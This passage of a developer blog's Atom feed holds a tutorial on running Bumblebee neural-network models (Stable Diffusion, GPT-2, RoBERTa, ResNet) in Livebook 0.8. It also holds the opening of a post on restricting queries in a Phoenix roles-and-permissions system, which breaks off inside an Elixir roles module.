&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/build-dynamic-forms-with-json-schemas"/>
    <id>https://peterullrich.com/build-dynamic-forms-with-json-schemas</id>
    <title>Build dynamic Forms with JSON Schemas</title>
    <updated>2023-01-08T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, today we&apos;ll learn how to set up the latest &lt;a href=&quot;https://livebook.dev&quot;&gt;Livebook&lt;/a&gt; version &lt;code&gt;0.8&lt;/code&gt; and use the new &lt;code&gt;Neural Network&lt;/code&gt; smart cell. You can find more information about this topic in the announcement &lt;a href=&quot;https://news.livebook.dev/announcing-bumblebee-gpt2-stable-diffusion-and-more-in-elixir-3Op73O&quot;&gt;here&lt;/a&gt;. Let&apos;s get started!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#install-livebook-08&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;install-livebook-08&quot;&gt;&lt;/a&gt;Install Livebook 0.8&lt;/h2&gt;
&lt;p&gt;First, we need to update our local &lt;code&gt;Livebook&lt;/code&gt; installation. If you haven&apos;t installed Livebook yet, please follow this &lt;a href=&quot;https://github.com/livebook-dev/livebook#installation&quot;&gt;installation guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I typically install and update Livebook as &lt;a href=&quot;https://github.com/livebook-dev/livebook#escript&quot;&gt;escript&lt;/a&gt; like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;do&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;local.rebar&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--force,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;local.hex&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--force&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;escript.install&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;hex&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;livebook&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# If you use ASDF, don&amp;#39;t forget to reshim Elixir&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;asdf&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;reshim&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;elixir&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this code and it will automatically install or upgrade to the lastest Livebook version. You can check our Livebook version with: &lt;code&gt;livebook -v&lt;/code&gt;. It should say &lt;code&gt;0.8.0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once you installed Livebook, start it with: &lt;code&gt;livebook server&lt;/code&gt;. This will output a URL to &lt;code&gt;localhost:8080&lt;/code&gt; where you can access your Livebook app. Navigate to it and create a new Livebook somewhere in your file system.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-neural-network-smart-cell&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-neural-network-smart-cell&quot;&gt;&lt;/a&gt;The Neural Network Smart Cell&lt;/h2&gt;
&lt;p&gt;Let&apos;s create a new &lt;code&gt;Neural Network&lt;/code&gt; smart cell. Click on the &lt;code&gt;+ Smart&lt;/code&gt; button and choose &lt;code&gt;Neural Network Task&lt;/code&gt; like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/create-smart-cell.png&quot; alt=&quot;Create a Neural Network smart cell&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Livebook will ask you whether it should add the required dependencies for the Neural Network smart cell, &lt;code&gt;kino_bumblebee&lt;/code&gt; and &lt;code&gt;exla&lt;/code&gt;. Choose &lt;code&gt;Add and restart&lt;/code&gt; and let Livebook install the dependencies. Since it will download a pre-compiled version of &lt;a href=&quot;https://github.com/elixir-nx/nx/tree/main/exla&quot;&gt;EXLA&lt;/a&gt;, it might take a few minutes. The output will look like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/install-deps.png&quot; alt=&quot;Install the smart cell dependencies&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#set-up-cuda&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;set-up-cuda&quot;&gt;&lt;/a&gt;Set up CUDA&lt;/h2&gt;
&lt;p&gt;Before we download the Neural Network models, please check whether your computer has a &lt;a href=&quot;https://docs.nvidia.com/deeplearning/cudnn/support-matrix/index.html&quot;&gt;supported&lt;/a&gt; NVIDIA graphics card. A graphics card will speed up any calculation significantly.&lt;/p&gt;
&lt;p&gt;If you do, please follow EXLA&apos;s &lt;a href=&quot;https://github.com/elixir-nx/xla#usage&quot;&gt;guide&lt;/a&gt; for choosing the &lt;code&gt;XLA_TARGET&lt;/code&gt;. You will need to install the correct &lt;a href=&quot;https://docs.nvidia.com/deeplearning/cudnn/install-guide/index.html&quot;&gt;CUDA&lt;/a&gt; version for your graphics card. After installing CUDA, set the correct &lt;code&gt;XLA_TARGET&lt;/code&gt; environment variable like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/set-env.png&quot; alt=&quot;Set the XLA TARGET environment variable in your Livebook&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you don&apos;t have a supported NVIDIA graphics card, don&apos;t worry. You can also use the Neural Networks on your CPU, but it will be &lt;strong&gt;slow&lt;/strong&gt;. For example, I use a MacBook with an M1 CPU and it takes around 5 minutes to generate two images with Stable Diffusion. All other tasks, like text generation, finish within a few seconds though. So, it will be slow, but it will work!&lt;/p&gt;
&lt;p&gt;Now that we have everything set up, let&apos;s start using some Neural Networks!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#text-to-image&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;text-to-image&quot;&gt;&lt;/a&gt;Text-to-Image&lt;/h2&gt;
&lt;p&gt;For me, the coolest application of Neural Networks is &lt;code&gt;Text-to-image&lt;/code&gt; generation. &lt;code&gt;Bumblebee&lt;/code&gt; offers the &lt;code&gt;Stable Diffusion&lt;/code&gt; network for this use case. Let&apos;s generate some images!&lt;/p&gt;
&lt;p&gt;To set it up, first select &lt;code&gt;Task: Text-to-image&lt;/code&gt; and &lt;code&gt;Using: Stable Diffusion (v1.4)&lt;/code&gt;. Then, hit &lt;code&gt;Evaluate&lt;/code&gt; above the smart cell. This will download the stable diffusion model from HuggingFace. Since the model is around 6GB, it will take a while. Make yourself a coffee, walk the dog, or - if you live in Germany 🇩🇪 - simply &lt;a href=&quot;https://www.speedtest.net/performance/germany&quot;&gt;give up&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After the download is complete, you can enter a prompt and hit &lt;code&gt;Run&lt;/code&gt;. &lt;strong&gt;This will take a while!&lt;/strong&gt; For me, it takes around 5min to generate two images on a 13&quot; MacBook Pro with an M1 Apple Chip and 600% CPU load. So, stare outside your window for a bit and wait for Stable Diffusion to do its magic.&lt;/p&gt;
&lt;p&gt;I used &lt;a href=&quot;https://lexica.art/&quot;&gt;lexica.art&lt;/a&gt; to find inspiration for a prompt and hit &lt;code&gt;Run&lt;/code&gt;. This is the result. Pretty cool, right?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/stable-diffusion-result.jpeg&quot; alt=&quot;The Stable Diffusion result&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#text-generation&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;text-generation&quot;&gt;&lt;/a&gt;Text Generation&lt;/h2&gt;
&lt;p&gt;Now, let&apos;s generate some text. Change the task of your smart cell to &lt;code&gt;Text generation&lt;/code&gt; and choose the &lt;code&gt;GPT2 (base)&lt;/code&gt; model. Hit &lt;code&gt;Reevaluate&lt;/code&gt; and let Bumblebee download the GPT2 base model. The model is around 600MB, so it will take a few minutes. Once the download is complete, enter some text and hit &lt;code&gt;Run&lt;/code&gt;. GPT2 will then add words to your input.&lt;/p&gt;
&lt;p&gt;You can define how many words GPT2 should add by increasing the &lt;code&gt;Max new tokens&lt;/code&gt; count. Don&apos;t forget to hit &lt;code&gt;Reevaluate&lt;/code&gt; on the smart cell before hitting &lt;code&gt;Run&lt;/code&gt; though! Otherwise, GPT2 will ignore your new config.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/gpt-2.png&quot; alt=&quot;The GPT-2 result&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#text-classification&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;text-classification&quot;&gt;&lt;/a&gt;Text Classification&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Text Classification&lt;/code&gt; is useful to calculate the &quot;mood&quot; of a text. Let&apos;s try it next.&lt;/p&gt;
&lt;p&gt;Change the task of your smart cell to &lt;code&gt;Text classifiation&lt;/code&gt; and the model to &lt;code&gt;RoBERTa (BERTweet) - emotion&lt;/code&gt;. Hit &lt;code&gt;Evaluate&lt;/code&gt;. The chosen model is around 550MB, so again, stare outside your window and wonder whether there&apos;s a limit to how much you can love Elixir.&lt;/p&gt;
&lt;p&gt;Once the model is available, enter a text you want to classify and hit &lt;code&gt;Run&lt;/code&gt;. It will show you how high the text scores on a range of &quot;emotions&quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/roberta.png&quot; alt=&quot;The results of the roberta sentiment analysis.&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#image-classification&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;image-classification&quot;&gt;&lt;/a&gt;Image Classification&lt;/h2&gt;
&lt;p&gt;The last task that Bumblee supports is the &lt;code&gt;Image Classification&lt;/code&gt; task. Basically, you give it a picture of a dog and it tells you that it&apos;s indeed a dog. Amazing.&lt;/p&gt;
&lt;p&gt;To set it up, select &lt;code&gt;Image Classification&lt;/code&gt; and a model like e.g. &lt;code&gt;ResNET&lt;/code&gt;. Hit &lt;code&gt;Evaluate&lt;/code&gt;. The &lt;code&gt;ResNET&lt;/code&gt; model is around 100MB which my Dutch Gigabit internet connection downloads in only a few seconds. I&apos;m not bragging though. I&apos;m just pointing out that this isn&apos;t &lt;a href=&quot;https://www.speedtest.net/performance/germany&quot;&gt;Germany 🇩🇪&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aaaaanyways. After the download is complete, you can simply drag-n-drop or select an image that you&apos;d like to have classified. I - of course - chose a bumblebee.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/bee.png&quot; alt=&quot;The image classification result which classified the image correctly as a bumblebee&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#convert-to-code&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;convert-to-code&quot;&gt;&lt;/a&gt;Convert to Code&lt;/h2&gt;
&lt;p&gt;Playing around with the smart cell is great fun, but at one point you might ask yourself how you could integrate the Neural Network into your Phoenix application and make it available to your users. Thankfully, Livebook got you covered!&lt;/p&gt;
&lt;p&gt;Choose the task and neural network that you&apos;d like to use and hit the &lt;code&gt;Convert to Code cell&lt;/code&gt; button above your smart cell. You&apos;ll see a warning that this action is irreversible, but that&apos;s alright because - of course - we engineers always know &lt;strong&gt;exactly&lt;/strong&gt; what we&apos;re doing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/convert-to-cell.png&quot; alt=&quot;How to convert a smart cell to code by clicking the &apos;Convert to code&apos; button&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After clicking the &lt;code&gt;Convert to Code cell&lt;/code&gt; button, Livebook will show you the raw code of your smart cell. The first part is for setting up the neural network and the second part is for handling user input.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/cell-code.png&quot; alt=&quot;The smart cell code&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can now copy this code into your Elixir application and deploy it directly to production! Mind-blowing isn&apos;t it?!&lt;/p&gt;
&lt;p&gt;If you don&apos;t want to &quot;destroy&quot; your smart cell, you can click &lt;code&gt;Toggle source&lt;/code&gt; instead. This will reveal the code of the smart cell, but keep the smart cell intact.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/setup-bumblebee/toggle-source.png&quot; alt=&quot;An alternative way of viewing the smart cell code by clicking the toggle source button&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#cleaning-up&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;cleaning-up&quot;&gt;&lt;/a&gt;Cleaning up&lt;/h2&gt;
&lt;p&gt;If you change the task of your smart cell back to e.g. &lt;code&gt;Text-to-image&lt;/code&gt; and hit &lt;code&gt;Reevaluate&lt;/code&gt;, you&apos;ll notice that Livebook doesn&apos;t download the 6GB StableDiffusion model again. That&apos;s because &lt;code&gt;Bumblebee&lt;/code&gt; &lt;a href=&quot;https://github.com/elixir-nx/bumblebee/blob/3b9551b97bd7a54a78f5ecfb0dfe301388c367e3/lib/bumblebee/huggingface/hub.ex#L157&quot;&gt;caches&lt;/a&gt; the models. So, it stores the models on your computer and loads them from there instead of downloading the models every time anew.&lt;/p&gt;
&lt;p&gt;This is very smart, but can fill up your hard drive pretty quickly if you download a lot of models. You can find and delete the cached neural network models in your &lt;a href=&quot;https://www.erlang.org/doc/man/filename.html#basedir-3&quot;&gt;user_cache&lt;/a&gt;. These are the typical locations for different operation systems:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Linux:&lt;/span&gt;   &lt;span style=&quot;color: #e6edf3;&quot;&gt;/home/YOUR_NAME/.cache/bumblebee/huggingface&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;macOS:&lt;/span&gt;   &lt;span style=&quot;color: #e6edf3;&quot;&gt;/home/YOUR_NAME/Library/Caches/bumblebee/huggingface&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Windows:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/Users/YOUR_NAME/AppData/Local/bumblebee/Cache/huggingface&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you liked this article. If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post.&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/use-neural-networks-in-livebook"/>
    <id>https://peterullrich.com/use-neural-networks-in-livebook</id>
    <title>Use Neural Networks in Livebook</title>
    <updated>2022-12-10T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;Hey folks, this is the second part of a mini-series about building a roles and permissions (RAP) system for Phoenix. If you haven&apos;t read the first part yet, please go &lt;a href=&quot;https://peterullrich.com/build-a-rap-for-phoenix-part-1&quot;&gt;here&lt;/a&gt; and read it first :)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the first post of this mini-series, we learned how to implement basic permissions for your schemas, how to group them into roles, and how to assign the roles to our users. We used the role to check a user&apos;s permissions in our Phoenix Controllers. Our controllers lie at the outer bounds of our system and adding the permission checks here is a good first step, but we can do better.&lt;/p&gt;
&lt;p&gt;The second security layer of our RAP will be the &lt;code&gt;restriction of queries&lt;/code&gt;. This layer aims to prevent data leaks by filtering out query results that the user shouldn&apos;t see. What the user shouldn&apos;t see depends on your use case, but we will implement two restrictions as an example:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;For external users, our queries should return only the data that belong to the requesting user.&lt;/li&gt;
&lt;li&gt;For internal users, our queries should hide the data of other internal users. Only special internal users (e.g. HR Managers) are allowed to see such data. Internal users can see the data of all external users though.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For example, customers of our company (external users) should only see their own invoices and addresses, but a customer support employee (internal user) should be able to see the invoices of &lt;strong&gt;all&lt;/strong&gt; customers and their addresses. That employee shouldn&apos;t see the addresses of other internal users though, only special internal users (e.g. HR Managers) can do so.&lt;/p&gt;
&lt;p&gt;This post is inspired by the work of my brilliant (ex-)colleagues &lt;a href=&quot;https://twitter.com/lucasmazza&quot;&gt;Lucas&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/csilva_antonio&quot;&gt;Antonio&lt;/a&gt;, and &lt;a href=&quot;https://twitter.com/vrcca&quot;&gt;Vitor&lt;/a&gt; who built the RAP we use here at &lt;a href=&quot;https://remote.com&quot;&gt;Remote&lt;/a&gt;. If you like my posts, maybe consider working with me since my team &lt;a href=&quot;https://boards.greenhouse.io/remotecom&quot;&gt;is hiring&lt;/a&gt; :)&lt;/p&gt;
&lt;p&gt;Okay, that&apos;s enough theory. Let&apos;s write some code!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#create-the-roles&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;create-the-roles&quot;&gt;&lt;/a&gt;Create the Roles&lt;/h2&gt;
&lt;p&gt;Let&apos;s first define the roles of our users. In part 1, we created some &lt;code&gt;DefaultRoles&lt;/code&gt;. Let&apos;s replace them with these:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.DefaultRoles&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;HR Manager&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;permissions: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;update&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;delete&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_scope: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:internal&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Customer Support Employee&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;permissions: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_scope: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:external_all&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Customer&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;permissions: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;update&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;delete&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;invoices&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_scope: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:external_one&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
